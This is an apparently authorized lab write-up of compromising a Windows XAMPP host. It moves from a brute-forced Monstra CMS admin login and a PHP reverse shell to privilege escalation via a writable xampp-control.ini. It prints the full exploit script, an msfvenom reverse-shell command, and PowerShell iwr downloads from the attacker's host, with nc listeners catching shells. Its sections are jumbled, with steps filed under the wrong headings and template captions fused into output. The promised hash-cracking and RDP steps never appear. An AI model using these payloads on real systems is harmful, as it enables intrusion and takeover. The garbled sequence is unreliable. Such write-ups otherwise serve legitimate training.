Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.
A foothold on the target system will be gained by leveraging a weak password to access the CMS Admin panel. From there, the CMS backup system will be accessed, revealing crackable password hashes that lead to low-privilege access. Privileges will then be elevated to the Administrator account by manipulating writable XAMPP configuration files. This lab focuses on exploiting weak authentication and privilege escalation methods.
Scenario
This lab demonstrates leveraging a weak password to access Monstra CMS, extracting password hashes from its backup system, and cracking them to gain RDP access. Privilege escalation is achieved by exploiting a writable xampp-control.ini file to inject a reverse shell payload, triggered upon interaction with the XAMPP Control Panel by an administrator. This lab emphasizes web application exploitation, credential cracking, and local privilege escalation through misconfigured services.
Learning objectives
After completion of this lab, learners will be able to:
- Enumerate web services to discover Monstra CMS and access the admin panel using a weak password.
- Extract and analyze a backup file to retrieve user password hashes.
- Crack the hashes to obtain valid credentials and log in via RDP.
- Craft and deploy a reverse shell payload to replace the xampp-control.ini configuration path.
- Trigger the payload by interacting with the XAMPP Control Panel and escalate privileges to Administrator.
Enumeration
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The scan output identifies the target's exposed services and their versions.
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.3.10)
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.3.10
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Mike Wazowski
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
443/tcp open ssl/http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.3.10)
| tls-alpn:
|_ http/1.1
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.3.10
|_ssl-date: TLS randomness does not represent time
| http-methods:
|_ Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_http-title: Mike Wazowski
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-06-17T23:18:27+00:00; -1s from scanner time.
| rdp-ntlm-info:
| Target_Name: MIKE-PC
| NetBIOS_Domain_Name: MIKE-PC
| NetBIOS_Computer_Name: MIKE-PC
| DNS_Domain_Name: Mike-PC
| DNS_Computer_Name: Mike-PC
| Product_Version: 10.0.19041
|_ System_Time: 2026-06-17T23:18:13+00:00
| ssl-cert: Subject: commonName=Mike-PC
| Not valid before: 2026-06-16T23:14:31
|_Not valid after: 2026-12-16T23:14:31
5040/tcp open unknown
7680/tcp open pando-pub?
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-06-17T23:18:16
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not requiredThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
┌──(kali㉿kali)-[~/offsec/monster]
# Discover application paths and files that may expand the attack surface.
└─$ gobuster dir -u http://192.168.170.180/ -w /usr/share/seclists/Discovery/Web-Content/common.txt
===============================================================
# Discover application paths and files that may expand the attack surface.
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.170.180/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.hta (Status: 403) [Size: 1048]
.htpasswd (Status: 403) [Size: 1048]
.htaccess (Status: 403) [Size: 1048]
Blog (Status: 301) [Size: 342] [--> http://192.168.170.180/Blog/]
assets (Status: 301) [Size: 344] [--> http://192.168.170.180/assets/]
aux (Status: 403) [Size: 1048]
blog (Status: 301) [Size: 342] [--> http://192.168.170.180/blog/]
cgi-bin/ (Status: 403) [Size: 1062]
com2 (Status: 403) [Size: 1048]
com1 (Status: 403) [Size: 1048]
com3 (Status: 403) [Size: 1048]
com4 (Status: 403) [Size: 1048]
con (Status: 403) [Size: 1048]
index.html (Status: 200) [Size: 22916]
examples (Status: 503) [Size: 1062]
licenses (Status: 403) [Size: 1207]
lpt1 (Status: 403) [Size: 1048]
lpt2 (Status: 403) [Size: 1048]
nul (Status: 403) [Size: 1048]
phpmyadmin (Status: 403) [Size: 1207]
prn (Status: 403) [Size: 1048]
render?url=https://www.google.com (Status: 403) [Size: 1048]
server-info (Status: 403) [Size: 1207]
server-status (Status: 403) [Size: 1207]
webalizer (Status: 403) [Size: 1207]
dns-query?dns=q80BAAABAAAAAAAAA3d3dwdleGFtcGxlA2NvbQAAAQAB (Status: 403) [Size: 1048]
dns-query?name=google.com&type=A (Status: 403) [Size: 1048]
Progress: 4750 / 4750 (100.00%)
===============================================================
Finished
===============================================================going to
/blogwe find out that the site is using monstra 3.0.4When we click on Login, it does not load anything, we after we enter the
192.168.170.180 monster.pgto the etc hosts, it loads up a login pageUnder user's we can see 2 users
mikeandadminTo Generate wordlist from the keywords found on the website
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
[General]
installdir=C:\xampp
base_stack_name=XAMPP
base_stack_key=
base_stack_version=7.3.10-1
base_stack_platform=windows-x64
[Apache]
apache_server_port=80
apache_server_ssl_port=443
apache_root_directory=/xampp/apache
apache_htdocs_directory=C:\xampp/htdocs
apache_domainname=127.0.0.1
apache_configuration_directory=C:\xampp/apache/conf
apache_unique_service_name=
[MySQL]
mysql_port=3306
mysql_host=localhost
mysql_root_directory=C:\xampp\mysql
mysql_binary_directory=C:\xampp\mysql\bin
mysql_data_directory=C:\xampp\mysql\data
mysql_configuration_directory=C:\xampp/mysql/bin
mysql_arguments=-u root -P 3306
mysql_unique_service_name=
[PHP]
php_binary_directory=C:\xampp\php
php_configuration_directory=C:\xampp\php
php_extensions_directory=C:\xampp\php\ext- Checking searchsploit for xampp priv esc
This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
┌──(kali㉿kali)-[~/offsec/monster]
# Run the helper or analysis script used in this lab step.
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.170.180 - - [18/Jun/2026 13:52:07] "GET /50337.ps1 HTTP/1.1" 200 -
192.168.170.180 - - [18/Jun/2026 13:52:21] "GET /msf.exe HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
PS C:\xampp> iwr -uri http://192.168.45.198/50337.ps1 -OutFile C:\Windows\Temp\exp.ps1
PS C:\xampp> iwr -uri http://192.168.45.198/msf.exe -OutFile C:\Windows\Temp\msf.exe
PS C:\xampp> powershell -ep bypassThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
PS C:\xampp> C:\Windows\Temp\exp.ps1
PS C:\xampp> whoami
mike-pc\mikeThis block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
PS C:\xampp> type C:\xampp\xampp-control.ini
[Common]
Edition=
Editor=C:\Windows\Temp\msf.exe
Browser=
Debug=0
Debuglevel=0
TomcatVisible=1
Language=en
Minimized=1
[EnableModules]
Apache=1
MySQL=1
FileZilla=1
Mercury=1
Tomcat=1
[LogSettings]
Font=Arial
FontSize=10
...This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.
# The output records the result observed during this authorized lab step.
PS C:\xampp> .\xampp_start.exe
e
.\xampp_start.exe : 2026-06-18 10:54:56 0 [Note] Using unique option prefix 'key_buffer' is error-prone and can break
in the future. Please use the full name 'key_buffer_size' instead.
At line:1 char:1
+ .\xampp_start.exe
+ ~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (2026-06-18 10:5..._size\' instead.:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
2026-06-18 10:54:56 0 [Note] mysql\bin\mysqld.exe (mysqld 10.4.8-MariaDB) starting as process 8376 ...
[Thu Jun 18 10:54:56.327300 2026] [mpm_winnt:crit] [pid 5172:tid 420] (OS 109)The pipe has been ended. : AH02965:
Child: Unable to retrieve my generation from the parent
XAMPP now starts as a console application.
Instead of pressing Control-C in this console window, please use xampp_stop.exe
to stop XAMPP, because it lets XAMPP end any current transactions and cleanup
gracefully.Initial Access
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# Execute the next evidence-gathering step in the authorized lab.
└─$ rlwrap nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.45.198] from (UNKNOWN) [192.168.170.180] 49995
SOCKET: Shell has connected! PID: 5224
Microsoft Windows [Version 10.0.19044.1645]
(c) Microsoft Corporation. All rights reserved.
# Confirm the identity of the current session.
C:\xampp\htdocs\blog>whoami
mike-pc\mike- We have write permissions to the
C:\xamppfolder - Checking out the
C:\xamppfolder, we found a file namedproperties.ini - Creating a reverse shell and uploading it
This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.
# Execute the next evidence-gathering step in the authorized lab.
└─$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.198 LPORT=4444 -f exe -o msf.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7680 bytes
Saved as: msf.exePrivilege Escalation
Intercepting the post request and starting a sniper attack on burp suite, using admin and it cracks the password
wazowskiAfter logging in, we can upload simple-php-backdoor shell in themes as per the article
https://github.com/monstra-cms/monstra/issues/470Tried many different reverse shell, none of them worked, but then tried with this php reverse shell and we got the shell
https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.phpTried to upload winpeas using certutil but kept getting
Access Deniedswitched to powershell and iwr worked in
C:\Windows\Tempdirectory
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# Execute the next evidence-gathering step in the authorized lab.
└─$ searchsploit xampp
--------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------- ---------------------------------
XAMPP - 'Phonebook.php' Multiple Remote HTML | multiple/remote/25391.txt
XAMPP - Buffer Overflow POC | windows/dos/51800.py
XAMPP - Insecure Default Password Disclosure | multiple/dos/25393.txt
XAMPP - WebDAV PHP Upload (Metasploit) | windows/remote/18367.rb
XAMPP 1.6.8 - Cross-Site Request Forgery (Ch | windows/remote/7384.txt
XAMPP 1.6.x - 'showcode.php' Local File Incl | multiple/webapps/33578.txt
XAMPP 1.6.x - Multiple Cross-Site Scripting | multiple/remote/33577.txt
XAMPP 1.7.2 - Change Administrative Password | php/webapps/10391.txt
XAMPP 1.7.3 - Multiple Vulnerabilities | php/webapps/15370.txt
XAMPP 1.7.4 - Cross-Site Scripting | windows/remote/36258.txt
XAMPP 1.7.7 - 'PHP_SELF' Multiple Cross-Site | windows/remote/36291.txt
XAMPP 1.8.1 - 'lang.php?WriteIntoLocalDisk m | php/webapps/28654.txt
XAMPP 3.2.1 & phpMyAdmin 4.1.6 - Multiple Vu | php/webapps/32721.txt
XAMPP 5.6.8 - SQL Injection / Persistent Cro | php/webapps/46424.html
XAMPP 7.4.3 - Local Privilege Escalation | windows/local/50337.ps1
XAMPP 8.2.4 - Unquoted Path | windows/local/51585.txt
XAMPP Control Panel - Denial Of Service | windows/dos/40964.py
XAMPP Control Panel 3.2.2 - Buffer Overflow | windows/local/45828.py
XAMPP Control Panel 3.2.2 - Denial of Servic | windows_x86/dos/45419.py
XAMPP for Windows 1.6.0a - 'mssql_connect()' | windows/remote/3738.php
XAMPP for Windows 1.6.3a - Local Privilege E | windows/local/4325.php
XAMPP for Windows 1.6.8 - 'cds.php' SQL Inje | windows/remote/32457.txt
XAMPP for Windows 1.6.8 - 'Phonebook.php' SQ | windows/remote/32460.txt
XAMPP for Windows 1.7.7 - Multiple Cross-Sit | windows/remote/37396.txt
XAMPP for Windows 1.8.2 - Blind SQL Injectio | windows/webapps/29292.txt
XAMPP Linux 1.6 - 'iart.php?text' Cross-Site | linux/remote/32166.txt
XAMPP Linux 1.6 - 'ming.php?text' Cross-Site | linux/remote/32165.txtXAMPP 7.4.3 - Local Privilege Escalation | windows/local/50337.ps1is the closest match- checking the file
This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
# Read the file contents for useful configuration or credential data.
└─$ cat 50337.ps1
## Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation
## Exploit Author: Salman Asad (@deathflash1411) a.k.a LeoBreaker
## Original Author: Maximilian Barz (@S1lkys)
## Date: 27/09/2021
## Vendor Homepage: https://www.apachefriends.org
## Version: XAMPP < 7.2.29, 7.3.x < 7.3.16 & 7.4.x < 7.4.4
## Tested on: Windows 10 + XAMPP 7.3.10
## References: https://github.com/S1lkys/CVE-2020-11107
$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
## Insert your payload path here
$replace = "C:\temp\msf.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $fileThis block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.
(kali㉿kali)-[~/offsec/monster]
# Execute the next evidence-gathering step in the authorized lab.
└─$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.45.198] from (UNKNOWN) [192.168.170.180] 50169
Microsoft Windows [Version 10.0.19044.1645]
(c) Microsoft Corporation. All rights reserved.
# Confirm the identity of the current session.
C:\WINDOWS\system32>whoami
# Confirm the identity of the current session.
whoami
mike-pc\administratorTakeaways
This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.